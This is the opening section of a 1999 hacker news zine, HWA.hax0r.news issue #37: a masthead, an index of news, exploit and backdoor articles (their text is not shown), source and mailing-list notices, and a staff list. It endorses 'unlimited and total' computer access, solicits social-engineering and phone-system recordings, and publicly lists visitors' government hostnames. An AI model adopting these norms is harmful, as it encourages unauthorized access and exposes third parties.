[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99=] Number 37 Volume 1 1999 Oct 10th 99 ========================================================================== [ 61:20:6B:69:64:20:63:6F:75: ] [ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ] [ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ] ========================================================================== "ABUSUS NON TOLLIT USUM" ========================================================================== Today the spotlight may be on you, some interesting machines that have accessed these archives recently... marshall.us-state.gov digger1.defence.gov.au firewall.mendoza.gov.ar ipaccess.gov.ru gatekeeper.itsec-debis.de fgoscs.itsec-debis.de fhu-ed4ccdf.fhu.disa.mil citspr.tyndall.af.mil kelsatx2.kelly.af.mil kane.sheppard.af.mil relay5.nima.mil host.198-76-34-33.gsa.gov ntsrvr.vsw.navy.mil saic2.nosc.mil wygate.wy.blm.gov mrwilson.lanl.gov p722ar.npt.nuwc.navy.mil http://welcome.to/HWA.hax0r.news/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= Web site sponsored by CUBESOFT networks http://www.csoft.net check them out for great fast web hosting! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= The Hacker's Ethic Sadly, due to the traditional ignorance and sensationalizing of the mass media, the once-noble term hacker has become a perjorative. Among true computer people, being called a hacker is a compliment. One of the traits of the true hacker is a profoundly antibureaucratic and democratic spirit. That spirit is best exemplified by the Hacker's Ethic. This ethic was best formulated by Steven Levy in his 1984 book Hackers: Heroes of the Computer Revolution. Its tenets are as follows: 1 - Access to computers should be unlimited and total. 2 - All information should be free. 3 - Mistrust authority - promote decentralization. 4 - Hackers should be judged by their hacking not bogus criteria such as degrees, age, race, or position. 5 - You create art and beauty on a computer, 6 - Computers can change your life for the better. The Internet as a whole reflects this ethic. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= A Comment on FORMATTING: I received an email recently about the formatting of this newsletter, suggesting that it be formatted to 75 columns in the past I've endevoured to format all text to 80 cols except for articles and site statements and urls which are posted verbatim, I've decided to continue with this method unless more people complain, the zine is best viewed in 1024x768 mode with UEDIT.... - Ed =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= New mirror sites http://net-security.org/hwahaxornews http://www.sysbreakers.com/hwa http://www.attrition.org/hosted/hwa/ http://www.ducktank.net/hwa/issues.html. http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ http://hwazine.cjb.net/ http://www.hackunlimited.com/files/secu/papers/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ * http://hwa.hax0r.news.8m.com/ * http://www.fortunecity.com/skyscraper/feature/103/ * Crappy free sites but they offer 20M & I need the space... HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net thanks to airportman for the Cubesoft bandwidth. Also shouts out to all our mirror sites! and p0lix for the (now expired) digitalgeeks archive tnx guys. http://www.csoft.net/~hwa HWA.hax0r.news Mirror Sites: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.attrition.org/hosted/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.ducktank.net/hwa/issues.html. ** NEW ** http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT ** http://www.csoft.net/~hwa/ http://www.digitalgeeks.com/hwa. *DOWN* http://members.tripod.com/~hwa_2k http://welcome.to/HWA.hax0r.news/ http://www.attrition.org/~modify/texts/zines/HWA/ http://archives.projectgamma.com/zines/hwa/. http://www.403-security.org/Htmls/hwa.hax0r.news.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= SYNOPSIS (READ THIS) -------------------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. (remember i'm doing this for me, not you, the fact some people happen to get a kick/use out of it is of secondary importance). This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #37 =-----------------------------------------------------------------------= We could use some more people joining the channel, its usually pretty quiet, we don't bite (usually) so if you're hanging out on irc stop by and idle a while and say hi... ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** *** *** *** please join to discuss or impart news on techno/phac scene *** *** stuff or just to hang out ... someone is usually around 24/7*** *** *** *** Note that the channel isn't there to entertain you its for *** *** you to talk to us and impart news, if you're looking for fun*** *** then do NOT join our channel try #weirdwigs or something... *** *** we're not #chatzone or #hack *** *** *** ******************************************************************* =-------------------------------------------------------------------------= Issue #37 =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Intros =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ `ABUSUS NON TOLLIT USUM'? This is (in case you hadn't guessed) Latin, and loosely translated it means "Just because something is abused, it should not be taken away from those who use it properly). This is our new motto. =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the Editor.................................................. 03.0 .. Why Your Network is Still Vulnerable............................. 04.0 .. 'PhoneMasters' Finally Sentenced ................................ 05.0 .. India Objects to Comments From Vatis ............................ 06.0 .. Bill Cheek Diagnosed with Cancer Still Faces Charges............. 07.0 .. The IBM 2020 Neural Implant Chip ................................ 08.0 .. Banks to Share Info Secretly .................................... 09.0 .. Melissa's Twin Appears in Outlook ............................... 10.0 .. L0pht Heavy Industries Exposed .................................. 11.0 .. ASX Claims Attacked by US Military .............................. 12.0 .. Microsft Clears Self of HotMail Breach .......................... 13.0 .. TISC I/O Lab to Showcase Security Tech .......................... 14.0 .. Web Anonymizing Tests Released .................................. 15.0 .. CyberCrime Prosecutor Moves to Private Practice ................. 16.0 .. Home Banking Weaknesses Begin at Home ........................... 17.0 .. Subversion of Information........................................ 18.0 .. SAGE Offers Impenetrable Server and Kills Word "Hacktivist' ..... 19.0 .. 19yr old Sentenced For AOL Break In.............................. 20.0 .. ZD Net Admits To Favoritism in Security Challenge ............... 21.0 .. CyberWarriors Could Have Cut Kosovo Campaign Time In Half ....... 22.0 .. JTF-CND Moves to Space Command .................................. 23.0 .. Anti-CyberCrime Unit Opens in Netherlands ....................... 24.0 .. CERT to Share Info With iDefense ................................ 25.0 .. Online Safety and Ethics Program Funded by DoJ .................. 26.0 .. Shell-Lock Use Found to Be Risky ................................ 27.0 .. Hole Found in Auto_FTP .......................................... 28.0 .. Singaporean eduMall Defaced ..................................... 29.0 .. No Evidence to Support Cell Phone Ban ........................... 30.0 .. Global Jam Echelon Day .......................................... 31.0 .. Vatis Creates Second International Incident ..................... 32.0 .. Who Were the Phone Masters Really? .............................. 33.0 .. Twstdpair's [HWA] nmap scanner frontend.......................... 34.0 .. Another GAO Report Says US Vulnerable ........................... 35.0 .. FidNet Gets Funding ............................................. 36.0 .. Softseek.com Distributes Trojan Horse ........................... 37.0 .. Global Jam Echelon Day Update ................................... 38.0 .. NSA Document Retrieval Capabilities ............................. 39.0 .. To Few Comp Crime Experts in FBI Says Vatis ..................... 40.0 .. The Truth About AntiOnline? ..................................... 41.0 .. Software Liability .............................................. 42.0 .. PHONELOSERS PARODY............................................... 43.0 .. TAKING HACKER TO COURT NOT SO EASY............................... 44.0 .. RUSSIA RESPONDS TO HASTY SPYING CONCLUSIONS...................... 45.0 .. KeyRoot presents nitestick.java.................................. 46.0 .. VIRGINIA'S INTERNET LAW CHALLENGED............................... 47.0 .. SECURITY WEAKNESSES PREVALENT AT TREASURY'S FMS.................. 48.0 .. FEDERAL SECURITY PLAN WILL SEEK CORPORATE BUY-IN................. 49.0 .. CISCO FIREWALL PROMISES PRIVACY.................................. 50.0 .. SEATTLE TIMES ON E-BAY SCAMMER................................... 51.0 .. FUD FROM THE EMPIRE, THE GLOVES COME OFF......................... 52.0 .. READ WIRE NEWS BEFORE IT'S ON IT................................. 53.0 .. Y2K LESSONS APPLY TO INFORMATION SECURITY........................ 54.0 .. AOL SPAM SCAN CONTINUES TO MAKE VICTIMS.......................... 55.0 .. MS: IT'S NOT OUR FAULT, THE HACKERS DID IT....................... 56.0 .. INDUSTRY BACKING AUSSIE CENSORSHIP LAW?.......................... 57.0 .. CYBERCROOKS BREACHING THE BORDERS OF CYBERSPACE.................. 58.0 .. NUKING THE HACKERS?.............................................. 59.0 .. BATTLING THE VIRUSES OF THE FUTURE............................... 60.0 .. Advisory:Hybrid Network's Cable Modems........................... 61.0 .. Faulty software:Omni-NFS/X Enterprise version 6.1................ 62.0 .. A vulnerability exists in the rpmmail package distributed on the Red Hat 6. 63.0 .. A vulnerability exists in the /usr/lib/merge/dos7utils program... 64.0 .. Sambar HTTP-Server DoS attack.................................... 65.0 .. There is a buffer overflow vulnerability in cdda2cdr............. 66.0 .. inews exploit , gives you the inews egid ........................ 67.0 .. Shows any file from any NT Server, if it has the SHOWCODE.ASP script. 68.0 .. The Hack kit (root kit).......................................... 69.0 .. Placing Backdoors Through Firewalls [THC]........................ =-------------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. ads for other zines are ok too btw just mention us in yours, please remember to include links and an email contact. Corporate ads will be considered also and if your company wishes to donate to or participate in the upcoming Canc0n99 event send in your suggestions and ads now...n.b date and time may be pushed back join mailing list for up to date information....................................... Current dates: POSTPONED til further notice, place: TBA.. ................. Ha.Ha .. Humour and puzzles ............................................ Hey You!........................................................ =------=........................................................ Send in humour for this section! I need a laugh and its hard to find good stuff... ;)........................................... SITE.1 .. Featured site, ................................................. H.W .. Hacked Websites ............................................... A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. Stuff you can email: - Prank phone calls in .ram or .mp* format - Fone tones and security announcements from PBX's etc - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities) - reserved for one smiley face -> :-) <- - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*) - burns of phac cds (email first to make sure we don't already have em) - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp* If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net Websites; sAs72.......................: http://members.tripod.com/~sAs72/ Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/ @HWA 00.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/ NewsTrolls .(daily news ).........http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+Security................http://www.gammaforce.org/ News site+Security................http://www.projectgamma.com/ News site+Security................http://securityhole.8m.com/ News site+Security related site...http://www.403-security.org/ *DOWN* News/Humour site+ ................http://www.innerpulse.com News/Techie news site.............http://www.slashdot.org +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=hack http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://ech0.cjb.net ech0 Security http://axon.jccc.net/hir/ Hackers Information Report http://net-security.org Net Security http://www.403-security.org Daily news and security related site Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html Link About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I am pleased to inform you of several changes that will be occurring on June 5th. I hope you find them as exciting as I do. BUGTRAQ moves to a new home --------------------------- First, BUGTRAQ will be moving from its current home at NETSPACE.ORG to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read below. Other than the change of domains nothing of how the list is run changes. I am still the moderator. We play by the same rules. Security Focus will be providing mail archives for BUGTRAQ. The archives go back longer than Netspace's and are more complete than Geek-Girl's. The move will occur one week from today. You will not need to resubscribe. All your information, including subscription options will be moved transparently. Any of you using mail filters (e.g. procmail) to sort incoming mail into mail folders by examining the From address will have to update them to include the new address. The new address will be: BUGTRAQ@SECURITYFOCUS.COM Security Focus also be providing a free searchable vulnerability database. BUGTRAQ es muy bueno -------------------- It has also become apparent that there is a need for forums in the spirit of BUGTRAQ where non-English speaking people or people that don't feel comfortable speaking English can exchange information. As such I've decided to give BUGTRAQ in other languages a try. BUGTRAQ will continue to be the place to submit vulnerability information, but if you feel more comfortable using some other language you can give the other lists a try. All relevant information from the other lists which have not already been covered here will be translated and forwarded on by the list moderator. In the next couple of weeks we will be introducing BUGTRAQ-JP (Japanese) which will be moderated by Nobuo Miwa and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A. from Argentina (the folks that brought you Secure Syslog and the SSH insertion attack). What is Security Focus? ----------------------- Security Focus is an exercise in creating a community and a security resource. We hope to be able to provide a medium where useful and successful resources such as BUGTRAQ can occur, while at the same time providing a comprehensive source of security information. Aside from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl herself!) have moved over to Security Focus to help us with building this new community. The other staff at Security Focus are largely derived from long time supporters of Bugtraq and the community in general. If you are interested in viewing the staff pages, please see the 'About' section on www.securityfocus.com. On the community creating front you will find a set of forums and mailing lists we hope you will find useful. A number of them are not scheduled to start for several weeks but starting today the following list is available: * Incidents' Mailing List. BUGTRAQ has always been about the discussion of new vulnerabilities. As such I normally don't approve messages about break-ins, trojans, viruses, etc with the exception of wide spread cases (Melissa, ADM worm, etc). The other choice people are usually left with is email CERT but this fails to communicate this important information to other that may be potentially affected. The Incidents mailing list is a lightly moderated mailing list to facilitate the quick exchange of security incident information. Topical items include such things as information about rootkits new trojan horses and viruses, source of attacks and tell-tale signs of intrusions. To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body of: SUBS INCIDENTS FirstName, LastName Shortly we'll also be introducing an Information Warfare forum along with ten other forums over the next two months. These forums will be built and moderated by people in the community as well as vendors who are willing to take part in the community building process. *Note to the vendors here* We have several security vendors who have agreed to run forums where they can participate in the online communities. If you would like to take part as well, mail Alfred Huger, ahuger@securityfocus.com. On the information resource front you find a large database of the following: * Vulnerabilities. We are making accessible a free vulnerability database. You can search it by vendor, product and keyword. You will find detailed information on the vulnerability and how to fix it, as well are links to reference information such as email messages, advisories and web pages. You can search by vendor, product and keywords. The database itself is the result of culling through 5 years of BUGTRAQ plus countless other lists and news groups. It's a shining example of how thorough full disclosure has made a significant impact on the industry over the last half decade. * Products. An incredible number of categorized security products from over two hundred different vendors. * Services. A large and focused directory of security services offered by vendors. * Books, Papers and Articles. A vast number of categorized security related books, papers and articles. Available to download directly for our servers when possible. * Tools. A large array of free security tools. Categorized and available for download. * News: A vast number of security news articles going all the way back to 1995. * Security Resources: A directory to other security resources on the net. As well as many other things such as an event calendar. For your convenience the home-page can be personalized to display only information you may be interested in. You can filter by categories, keywords and operating systems, as well as configure how much data to display. I'd like to thank the fine folks at NETSPACE for hosting the site for as long as they have. Their services have been invaluable. I hope you find these changes for the best and the new services useful. I invite you to visit http://www.securityfocus.com/ and check it out for yourself. If you have any comments or suggestions please feel free to contact me at this address or at aleph1@securityfocus.com. Cheers. -- Aleph One / aleph1@underground.org http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe, visit http://www.counterpane.com/unsubform.html.  Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.  He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09                             ISSN  1004-042X        Editor: Jim Thomas (cudigest@sun.soci.niu.edu)        News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)        Archivist: Brendan Kehoe        Poof Reader:   Etaion Shrdlu, Jr.        Shadow-Archivists: Dan Carosone / Paul Southworth                           Ralph Sims / Jyrki Kuoppala                           Ian Dickinson        Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[ New ISN announcement (New!!) Sender: ISN Mailing List From: mea culpa Subject: Where has ISN been? Comments: To: InfoSec News To: ISN@SECURITYFOCUS.COM It all starts long ago, on a network far away.. Not really. Several months ago the system that hosted the ISN mail list was taken offline. Before that occured, I was not able to retrieve the subscriber list. Because of that, the list has been down for a while. I opted to wait to get the list back rather than attempt to make everyone resubscribe. As you can see from the headers, ISN is now generously being hosted by Security Focus [www.securityfocus.com]. THey are providing the bandwidth, machine, and listserv that runs the list now. Hopefully, this message will find all ISN subscribers, help us weed out dead addresses, and assure you the list is still here. If you have found the list to be valuable in the past, please tell friends and associates about the list. To subscribe, mail listserv@securityfocus.com with "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn". As usual, comments and suggestions are welcome. I apologize for the down time of the list. Hopefully it won't happen again. ;) mea_culpa www.attrition.org --[ Old ISN welcome message [Last updated on: Mon Nov 04 0:11:23 1998] InfoSec News is a privately run, medium traffic list that caters to distribution of information security news articles. These articles will come from newspapers, magazines, online resources, and more. The subject line will always contain the title of the article, so that you may quickly and effeciently filter past the articles of no interest. This list will contain: o Articles catering to security, hacking, firewalls, new security encryption, products, public hacks, hoaxes, legislation affecting these topics and more. o Information on where to obtain articles in current magazines. o Security Book reviews and information. o Security conference/seminar information. o New security product information. o And anything else that comes to mind.. Feedback is encouraged. The list maintainers would like to hear what you think of the list, what could use improving, and which parts are "right on". Subscribers are also encouraged to submit articles or URLs. If you submit an article, please send either the URL or the article in ASCII text. Further, subscribers are encouraged to give feedback on articles or stories, which may be posted to the list. Please do NOT: * subscribe vanity mail forwards to this list * subscribe from 'free' mail addresses (ie: juno, hotmail) * enable vacation messages while subscribed to mail lists * subscribe from any account with a small quota All of these generate messages to the list owner and make tracking down dead accounts very difficult. I am currently receiving as many as fifty returned mails a day. Any of the above are grounds for being unsubscribed. You are welcome to resubscribe when you address the issue(s). Special thanks to the following for continued contribution: William Knowles, Aleph One, Will Spencer, Jay Dyson, Nicholas Brawn, Felix von Leitner, Phreak Moi and other contributers. ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn ISN Archive: http://www.landfield.com/isn ISN Archive: http://www.jammed.com/Lists/ISN/ ISN is Moderated by 'mea_culpa' . ISN is a private list. Moderation of topics, member subscription, and everything else about the list is solely at his discretion. The ISN membership list is NOT available for sale or disclosure. ISN is a non-profit list. Sponsors are only donating to cover bandwidth and server costs. @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/programming/IRC+ man in black sas72@usa.net ............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black twisted-pair@home.com......: currently active/programming/IRC+ Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Qubik ............................: United Kingdom D----Y ...........................: USA/world media HWA members ......................: World Media Past Foreign Correspondants (currently inactive or presumed dead) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sla5h.............................: Croatia N0Portz ..........................: Australia system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland Wyze1.............................: South Africa Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed Spikeman's site is down as of this writing, if it comes back online it will be posted here. http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian) Sla5h's email: smuddo@yahoo.com ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) 